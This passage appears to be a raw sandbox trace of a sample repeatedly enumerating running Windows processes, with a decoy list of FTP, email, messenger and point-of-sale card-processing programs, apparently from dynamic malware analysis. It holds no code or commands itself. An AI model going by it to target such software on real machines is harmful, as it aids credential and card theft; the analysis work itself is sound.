dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0119.145] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0119.147] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0119.149] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0119.152] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0119.154] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0119.157] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0119.159] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0119.162] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0119.164] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0119.166] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0119.169] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0119.171] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0119.174] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0119.176] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0119.179] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0119.181] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0119.184] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0119.186] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0119.189] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0119.192] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0119.196] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0119.199] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0119.202] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0119.206] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0119.215] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0119.221] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0119.224] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0119.229] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0119.233] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0119.253] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0119.256] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0119.258] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0119.262] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0119.265] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0119.268] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0119.271] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0119.274] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0119.278] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0119.281] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0119.428] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0119.430] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0119.432] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0119.435] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0119.437] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0119.439] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0119.441] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0119.443] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0119.445] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0119.447] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0119.456] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0119.458] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0119.460] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0119.462] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0119.464] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0119.466] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0119.468] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0119.470] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0119.472] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0119.474] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0119.477] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0119.479] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0119.480] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0119.482] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0119.484] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0119.486] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0119.488] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0119.494] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0119.496] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0119.498] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0119.500] CloseHandle (hObject=0x20bc) returned 1 [0119.500] Sleep (dwMilliseconds=0x64) [0119.601] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x20bc [0119.618] Process32First (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0119.621] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0119.623] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0119.626] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0119.628] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0119.630] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0119.633] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0119.637] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0119.639] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0119.641] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.644] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.653] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0119.657] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.659] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, 